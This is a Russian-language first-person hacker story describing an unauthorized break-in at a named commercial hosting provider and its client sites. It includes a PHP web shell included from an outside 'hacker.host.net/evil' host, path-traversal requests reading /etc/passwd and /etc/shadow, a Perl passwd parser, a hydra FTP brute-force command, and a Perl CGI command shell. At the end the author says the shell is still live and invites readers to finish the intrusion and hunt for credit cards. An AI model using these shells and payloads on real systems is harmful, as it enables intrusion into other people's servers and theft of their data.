• Партнер

  • В сети полно виртуальных хостингов. Особенно за рубежом. Как-то раз поздним вечером мне захотелось поживиться ресурсами какого-нибудь буржуйского хостера. Из-за собственной лени меня очень ломало атаковать через сервисы, путем муторного сканирования хостинговых сетей, поэтому я зарулил прямиком на Гугл и наколбасил смертельный запрос "filetype:php site:com". В ответ поисковик выбросил множество ссылок. Началась муторная работа по отделению мух от котлет - я резво отбраковывал ссылки на php-скрипты без аргументов, и тестировал на прочность сценарии с параметрами типа id=blahblah.php и id=blahblah.html. Внезапно передо мной предстал проектик, хостящийся на www.dreamscape.com (я уже давно знал, что это хостинг). Возможно, из-за этого я решил остановиться на этом сайте подробнее.

    1. Внедрение в систему

    Итак, запрос, который мне выплюнул Гугл, выглядел следующим образом: http://www.druginfonet.com/index.php?pageID=manufacturers.htm. По-видимому, скрипт подключал контент статической html'ки. У меня закралась нездоровая мысля о том, что вебмастер - настоящий ламер, а его проект упадет после удачной cross-side-атаки. Я создал файл bash.php на моем хостинге, в котором был следующий код:

    echo "

    ";
    system($_GET['cmd']);
    echo "
    ";
    ?>

    Несложно догадаться, что эта конструкция работает даже если в php.ini выключена опция register_globals. Я залил этот файл, выложил на web и обратился к проекту со следующим запросом:

    http://www.druginfonet.com/index.php?pageID= http://hacker.host.net/evil/bash.php&cmd=id,

    но в ответ получил фигу. Пока не зная почему скрипт оказался стойким к кросс-сайду, я решил изменить инклудный manufacturers.htm на произвольный файл, например, на ../../../../../../../../../../etc/passwd. Фишка проканала, скрипт честно вывел /etc/passwd. На хостинге было столько аккаунтов, что я не смог долистать passwd до конца. Сохранив содержимое файла на винт, я решил посмотреть, почему, собственно, скрипт не открывает удаленные файлы. Для этого мне нужно было узнать путь к сценарию index.php. Для этого я умышленно подставил в поток несуществующий файл, запрос получился таким:

    http://www.druginfonet.com/index.php? pageID=nosuchfile.htm.

    Но итог оказался плачевным: скрипт выругался на отсутствие файла и не показал мне путь к самому себе. Тогда я решил, что он сломается, если я укажу ему путь к файлу, который он ну никак не сможет прочитать. Мне пришлось составить следующую ссылку:

    http://www.druginfonet.com/index.php? pageID=../../../../../../../../../../etc/shadow.

    Ура! Получилось! Сценарий остановился и сказал мне один умный вещь:

    Warning: fopen("../../../../../../../../../../etc/shadow", "r") - Permission denied in /export/ext2/www/druginfonet/index.php on line 187.

    Думаю, не стоит говорить, как я вывел содержимое index.php. Все и так понятно. После изучения сорцов я понял, что сценарий сначала проверяет наличие открываемого файла (эта проверка и подстраховало скрипт от CS-атаки), а лишь затем открывает его. Затем сценарий узнает размер документа и показывает его содержимое. В общем, вот тебе найденный код:

    if (file_exists($filename)) {
    $fp = fopen($filename, "r");
    $contents = fread($fp, filesize($filename));
    echo $contents;
    fclose($fp);
    } else {
    echo "There was an error finding $filename. Please contact the Webmaster.";
    }
    ?>

    Видишь загадочный else? Он мешал мне узнать путь к скрипту при подстановке несуществующего пути. Тут я задумался... Ведь fopen() умеет открывать и директории, а file_exists() подтвердит, что дира существует. Я попробовал составить запрос вида http://www.druginfonet.com/index.php?pageID=/etc, и скрипт успешно выплюнул содержимое каталога =). Правда, разделителями между файлами были кривые квадратики и нечитабельные символы, но даже с этим глюком я мог исследовать площадку дальше.

    2. Изучение

    Просканировав порты, я понял, что напрямую на сервер мне не попасть. Всякие там телнеты и ssh были жестко зафильтрованы, наружу глядел лишь 21 порт. "Уже что-то!", подумал я. Нужно было добыть валидный ftp-аккаунт и радоваться жизни. Но, к несчастью, практически у всех юзеров вместо хорошего шелла запускался /dev/null (или в лучшем случае /bin/ftponly). На часах в правом нижнем углу виднелись цифры "3:40", мне жутко хотелось спать. Радовало то, что завтра можно было спать до полудня. Возможно именно это остановило меня от выключения компьютера =).

    Итак, что же было дальше? А дальше развивалась весьма интересная ситуация. Мне было в лом искать файлы на сервере с помощью полудырявого скрипта, я просто решил написать небольшой парсер, который выдирает все аккаунты, затем отправить комбо-лист на мой доверенный шелл и там же запустить брутфорс hydra. Брут я хотел провести по паре login:login, благо вероятность совпадения была большая (размер passwd составлял почти 700кб). Ничего не соображая, я таки написал рабочий анализатор /etc/passwd, который выглядел следующим образом:

    #!/usr/bin/perl
    open(IN,"passwd");
    open(OUT,">pwds.good");
    while() {
    chomp;
    if ($_ ne '') {
    ($u,@undef)=split ':';
    print OUT "$_\n";
    }
    }
    close(IN);
    close(OUT);

    После запуска в f:\soft\hack лежал готовый комбо-лист. Спешно залив его на сервер, я запустил hydra со следующими параметрами:

    ./hydra -C pwds.good -t 100 -e n www.druginfonet.com ftp.

    В данном случае, опция -C означала наличие комбо-листа, "-e s" проверял аккаунты с пустыми паролями (на всякий случай), а "-t 100" запускал брутфорс в стопоточном режиме. Если ты думаешь, что через 10 минут я получил список валидных паролей, то глубоко ошибаешься. У брутфорсера слетела крыша, когда он получил мессаг от FTP, что учетная запись с шеллом /dev/null не имеет право на пользование ftp. Обмен выглядел следующим образом:

    [root@ns hydra-4.3-src]# telnet druginfonet.com ftp
    Trying 209.217.209.106...
    Connected to druginfonet.com.
    Escape character is '^]'.
    220 chrome.dreamscape.com FTP server (Version NewVirtual wu-2.4.2-academ[BETA-13](1) Tue Aug 5 12:37:01 EDT 1997) ready.
    user gerry16
    530 User gerry16 access denied...(bad shell)
    quit
    221 Goodbye.
    Connection closed by foreign host.
    [root@ns hydra-4.3-src]#

    Гидра сразу же сказала, что не распознает
    такой протокол как FTP и начала крутить комбо-список по кругу. Мне пришлось потрудиться, чтобы замочить бешеный брутфорс :). Теперь, наученный горьким опытом, я пропатчил мой парсер следующим циклом:

    if ($undef[(scalar $undef)-1] ne '/dev/null') {
    print OUT "$_\n";
    }

    После скормления листа брутфорсу он объявил, что ни один аккаунт не совпал. Я полностью отчаялся: пришлось исследовать содержимое сервера на наличие дырявых файлов.

    Быстро прошвырнувшись по домашним каталогам, я не нашел там ничего интересного. Вначале меня привлекли всякие там .bash_history (некоторые из них даже были читабельными). Но из чтения истории команд я лишь узнал, где находятся .htpasswd-файлы. К сожалению, Джоник не смог быстро расшифровать хэши по словарикам. Также я нашел несколько файлов типа passwd.txt, где был забит чей-то пароль. Как оказалось, пассворд принадлежал либо юзеру с шеллом /dev/null, либо неизвестно кому =).

    3. Видимые успехи

    Время подходило к пяти утра. Спать не хотелось, но и ломать хостинг уже надоело :). Уж слишком замороченным оказался этот сервер. Поизучав каталог WWW, я не нашел там ни одного .htpasswd-файла (может плохо искал), и по какой-то причине заглянул в passwd, где были отобраны лишь валидные аккаунты. И что ты думаешь? Через минуту я уже знал, какой пароль наверняка подойдет к FTP. Мой взор упал на учетную запись jymftp, в комментариях которой было четко и ясно сказано, что это тестовый логин. В качестве домашнего каталога выступала дира /ftpshare/jymtest. Последний каталог и был паролем для этой учетки! Я это понял сразу, у меня давно выработался профессиональный нюх на такие вещи :). После успешной авторизации, wu-ftpd объявил, что как такового домашнего каталога вообще не существует и установил домашней папкой корень сервера. Наконец-то я мог добиться хоть какого-то командного исполнения. Я перешел в /tmp и закинул туда bash.php (содержимое скрипта изучай выше). Затем обратился с запросом
    http://www.druginfonet.com/index.php? pageID=/tmp/bash.php&cmd=id и грязно выругался! Скрипт не хотел подключать шелл! "Да что же это за мерзость?", крикнул я. Пришлось перейти в каталог /export/ext1/www и искать там исполняемый каталог какого-нибудь клиента. Каталог нашелся быстро, это был проект www.usawood.com. Я залил в корень bash.php и снова обратился к нему, теперь напрямую. Результат был отрицательным. Причины сей аномалии до сих пор неизвестны. Однако у меня был и план "Бэ" - вебмастер этого сайта почему-то поставил режим 777 на cgi-bin. Я зашел в каталог и залил туда уже cgi-шелл, надеясь, что удача меня не покинет. Скрипт был таким:

    #!/usr/bin/perl
    print "Content-type: text/html\n\n";
    $cmd=$ENV{QUERY_STRING};
    $cmd=~s/%20/ /g;
    $c=`$cmd`;
    print "$c";

    Затем я выполнил "site chmod 755 cmd.cgi" и обратился к нему. В ответ получил ошибку 500 :). Поняв чем она вызвана (скрипт был залит в BINARY-режиме из-за глючности консольного /usr/bin/ftp), я быстро исправил баг. Теперь скрипт показывал пустую страницу. Уже что-то :). Рассмотрев собственный код, я стал причислять себя к ламеру, который вообще не знает Perl. Но код казался рабочим и подозрения не вызывал. Тогда, ради проверки, я окаймил переменную QUERY_STRING апострофами и был вознагражден рабочим cmd-шеллом! Наконец-то мне повезло :).

    4. Подведение итогов

    Баловался интерпретатором я недолго. Попробовал залесть на mysql - неуспешно. Затем залил бэкдор, открыл шелл и поюзал несколько известных эксплойтов для шестой солярки (такой вот убогий там SunOS), но, к сожалению, ни один не сработал. Тогда, отчаявшись, я скачал эксплойт для старого wu-ftpd и попытался удаленно порутать систему. Кроме грязных каталогов, которые я
    впоследствии так и не смог удалить, я не получил ничего :(. Немного полазав по Web-каталогам, я плюнул на все и ушел спать, так и не доведя работу до конца...

    К чему я все это? Дело в том, что баги в хостинге до сих пор актуальны, я даже не стал удалять cmd.cgi - даю тебе возможность порулить проектом и закончить мою работу. Вполне возможно, что в БД находятся таблицы с рабочими кредитками и другие не менее занятные вещи. О результатах сообщай мне на мыло, как-никак я начал копаться в этой зарубежной грязи :). 

    Удачи, чувак!

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии